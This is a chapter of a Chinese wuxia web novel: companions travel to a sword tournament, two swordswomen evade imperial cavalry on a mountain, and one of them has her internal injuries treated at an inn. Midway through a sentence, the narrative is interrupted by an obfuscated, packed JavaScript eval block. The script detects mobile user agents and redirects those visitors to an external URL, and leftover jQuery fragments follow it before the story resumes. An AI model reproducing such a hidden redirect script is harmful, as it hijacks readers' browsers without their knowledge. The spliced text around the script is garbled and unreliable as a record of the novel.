59.剑道争锋

作品:《煊朝第一男剑仙(剑断前尘)

    暴雨如注。


    弈云林倚在门边,望雨兴叹。


    “这雨怎的下个没完了,”他摇了摇头,“难不成是从炘水古城一路跟着我们来的?这雨也赶着去剑道大会?”


    “公子,这几日本就是雨水多的时节。”


    魏芩顶着眼底乌青从院外进来,提着食盒。


    “寺里就只有一些素面和小菜,将就吃吧。”


    二人进了屋,窝在床榻上的白宁跳下来,看了一眼桌上的饭菜,没精打采地坐下。


    “寺里的斋饭原来是这样的啊。”白宁扒拉着碗里的清炒笋丝和小葱豆腐。


    弈云林伴着清汤面,暗自想着,怪不得没在这里见到秦从术,根据那家伙爱吃肉食的习性,肯定忍受不了寺庙的斋饭。


    “唔,说起来,”白宁放下筷子,“弈公子你还不太清楚这次剑道大会的参会剑客吧?有几个人我必须要提醒你一下。端方剑仙的徒弟喻机,问山剑派大弟子温泽芝,般罗宗、苍松山、悬河剑派也有高手……但其中最需要警惕的,当数‘血剑’。”


    “‘血剑’陆英漫,她不是已经夺得过前三甲了么?再次参加,岂不是有些……”


    白宁摆手:“是‘血剑’,但不是陆英漫。”


    “什么意思?”


    “众所周知,陆英漫十五岁便披甲上阵,驰骋沙场,勇武与其姐先镇国大将军不相上下。只是没想到征伐殷晖时犯下屠城大过,被除军籍,再被天辉陆家除名,受天下人唾弃。”


    “而她的佩剑喋血,世称‘血剑’,传闻会吸食人的血液,每每见血,剑锋愈盛。陆英漫早已隐退,但在近几年,据说有人得到了她的佩剑喋血。那人身份不明,行事极为阴毒,以比武为由,已杀过几十人了。”


    “除恶榜上第四十四,‘血剑’无名,赏金三百两银子。”


    白宁饮了一口茶水,“有消息说,‘血剑’无名也来剑道大会了。”


    “白兄,你的消息真广啊!”


    弈云林竖起大拇指。


    “我亲戚在铸剑城,自然对参会的人选有所耳闻。”


    正午过后,天晴了。


    弈云林三人策马离寺,翻过尧蛾山,进入彬州地界。


    ……


    凌晨,先一步抵达尧蛾山,决定彻夜翻山赶路的秦从术喻机二人,却还在尧蛾山中。


    “真是倒了八辈子霉了,”喻机蹲伏在树上,身形隐匿在繁茂枝叶中,“这里竟然会有逐日骑。”


    煊国逐日骑,早在百年前闻名八国,当初兵临殷晖王城之下,马踏王血的正是镇国大将军手下的这支军队。


    逐日骑以迅猛扬威,骑兵所骑之马乃是煊国特有的赤焰驹,鬃毛呈暗红色,日光下有如火焰。马身高出寻常马匹近两个头,四腿尤为健硕修长,可日行千里。


    在她藏身的这片林子里,有一队逐日骑正策马搜寻。


    嗓子眼有些发干,喻机艰难地咽下一口唾沫,她已经一夜滴水未进。


    而她的身侧,秦从术右肩的伤口崩裂了,鲜血染红了淡青的衣襟。


    那队逐日骑就要靠近她们了。


    几个时辰前,秦从术提议连夜赶路,绕过净黎寺夜过尧蛾山,一路上晚归的农人猎户都在极力劝说她们留宿。


    什么“阴兵借道”,什么“厉鬼勾魂”,诸如此类的说辞。


    但她们没有理会,直冲上山林里。


    沿路人迹罕至,偌大的林子里静得可怕。行至一处时,马儿突然惊慌地停下,原地打转,不住喷着气。


    “有问题。”


    秦从术下了马,“我去前方探路,你守着马。”


    却在几息之后,忽听地面震动,马蹄声轰然响起,秦从术全力奔回来,一把拉住她:“上树!”


    二人跳上树,在树林间跳跃前进,身后马蹄声渐远,喻机问道:“怎么回事!听起来是骑兵。”


    “逐日骑。”


    秦从术回道:“我被发现了。”


    喻机还欲再问个清楚,眼角余光瞥见了秦从术肩头的血痕。


    逐日骑怎么会在尧蛾山上?


    再说,她们为什么要追过来?


    喻机一时之间不知道该怎么办。


    “我们会被灭口。”秦从术道。


    真是无妄之灾。


    喻机腿都蹲麻了,却丝毫不敢懈怠,甚至连呼吸都在刻意地放轻。那队逐日骑将草丛树顶都仔细探查,若是查到她俩这里,必定会发现有人。


    此时硬闯,人力终究不如马力,更何况那是赤焰驹。若是拔剑,且不说能不能抵挡扬名天下的逐日骑,光是反抗这一举动就够定罪的了。


    农人猎户口中的“阴兵借道”,居然是在此地出没的逐日骑么……可看她们这队骑兵并未做掩饰,煊国上下谁人不知那火红战马和褐盔覆面的战士?


    喻机觉得此事应当有古怪,或许那“阴兵借道”所指,并不是逐日骑。


    由此看来,她俩恐怕是摊上大事了。


    那队逐日骑已经距离她们不到数十步。


    必须要做出选择了,是逃亡,还是对抗。


    喻机额头上冒出来一层冷汗,她攥紧了北斗剑柄,盯死了为首的那个队长。发动奇袭的话,或可以拿下队长,谋取退路。


    “队长!”


    有一骑兵策马从后方奔来。


    小队停下了搜寻。队长微微侧过头去,覆面的暗褐色盔甲折射着古铜色光晕,“何事。”


    “收到撤退的急令了!”


    “……”队长深深地看了一眼喻机藏身的树冠,喝道:“听我令,撤!”


    草叶泥块飞扬,马蹄震动声在急速远去。


    “咚”的一声,秦从术脱力从树上掉了下去,砸进草丛里。


    “从术!”


    喻机紧随其后跳下来,看见她翻了个面,仰躺在厚实的草甸上。


    “还以为要死了。”她闷闷地说。


    “这不像你的行事风格啊!”喻机捏了一把她苍白的脸。


    秦从术慢慢看向她,说道:“我只承受了一次骑兵冲锋。”


    秦从术张开嘴,咳出一口血沫。


    见势不对,喻机果断上前探她的脉。内伤,严重的内伤,五脏六腑都遭受了巨大的冲击。


    肩头上的伤,不过是那冲力寻了个身体最薄弱的地方撞破出来罢了。


    “想拿下队长,不容易。”秦从术看穿了她方才的打算。


    休整了一会儿,二人把马找回来,快速翻越了尧蛾山。


    彬州自古以来享有繁华之城的美誉,商贸发达,地势平坦,秦从术二人进了城,寻到一间客栈,放马去吃草料。


    踏上大街,喻机负责打听船只,她则去采买。为了剑道大会,秦从术不得不花重金买了几瓶调内息的药,又去铁匠铺子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491945|149032||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    借磨刀石处理赫炎金乌。


    这把剑跟了她短短数月,已经有略微的磨损。尤其是挡下那队长一刀时,她毫不怀疑这把剑会断成几截。


    到底还是大师之作,抗打。


    秦从术提着剑从铺子里出来,迎面就要和人撞上,双方的反应都非常迅速,各自朝后退了一步。


    “秦从术?”


    弈云林惊讶地叫道。


    他身侧的白宁看看他,又看看秦从术。白宁突然注意到这两人的佩剑……啊这,他自觉地往旁边一缩。


    “你租船了吗?”秦从术问道。


    “白兄有一艘,那个,”弈云林转头去望白宁,“这位是我的……算是朋友,白兄,可否让她也搭乘?”


    “既然是你的朋友,咳咳,当然可以呀。”


    “还有喻机。”秦从术补充道。


    “……”白宁愣了一秒,“端方剑仙的徒弟喻机?!”


    “是的。”


    白宁不禁问道:“那你是……”


    “在下天穹剑派八面惊雷座下九弟子,秦从术。”


    “啊,我是白宁。”


    天穹剑派八面惊雷倒是如雷贯耳。秦从术?没听说过。


    白宁只能冲她笑了笑。


    “哼,你啊,”弈云林拍了拍她的肩膀,“还不是要跟我一起……”


    “呃!”


    伤处猝不及防被拍了一把,秦从术痛呼一声。


    弈云林神色大变,急忙扶住她:“你怎么受伤了,谁打的你?”


    “无妨。”秦从术稳住身形,“如果你不拍的话。”


    她侧过头去,吐了一口含着血的唾沫。


    弈云林从没想过自己这一拍会激得人吐血,他立即扣住她的手腕,朝她体内输送内力。


    “你伤的好重……”他惊叹道。


    脉象紊乱,内有滞气,横冲直撞。


    “跟我回客栈去,我帮你把那股力化掉。”


    白宁站的远了几步,不知道发生何事,眼看两人勾搭着朝外走,问道:“弈公子,你们这是要去哪儿?”


    “回客栈。白兄,你先逛着,我们有要紧的事。”弈云林匆匆离去。


    要紧事,需要两人回客栈处理?


    白宁想着,不由得捂了脸。


    客栈卧房内,秦从术盘坐在坐垫上,弈云林坐在她身后,两掌按在她背上,凝神用内力引导她的内息,帮助她顺畅地运转经脉内力。


    “是谁?”他忍不住问。


    “我不能说。”


    “秦从术,你不要老是一个人硬扛着。偶尔让别人帮你一下,不是很好么?”


    她没有答话。


    弈云林心底无名火起,一瞬间,他似乎能理解之前喻机来救他们时,为何突然指着秦从术的鼻子破口大骂了。


    她总是这样,不愿意说太多话,不愿意告诉别人太多事。


    在心魔毒幻境里的时候也一样。她不曾同他说一句话,就跳入水里,引着那怪鱼远去。


    那时候,她应该是被嚼碎了吧。


    更早之前,被选去人斗场时,她难道对危险没有一丝察觉?不,她知道,她甚至可能非常清楚。


    但是她第一个上了板车,没有同他说哪怕一句话。


    秦从术是万年雪山上凝结成的寒冰,终年不化,恐怕就算是太阳的光辉,投射在她身上也只会被折射走吧。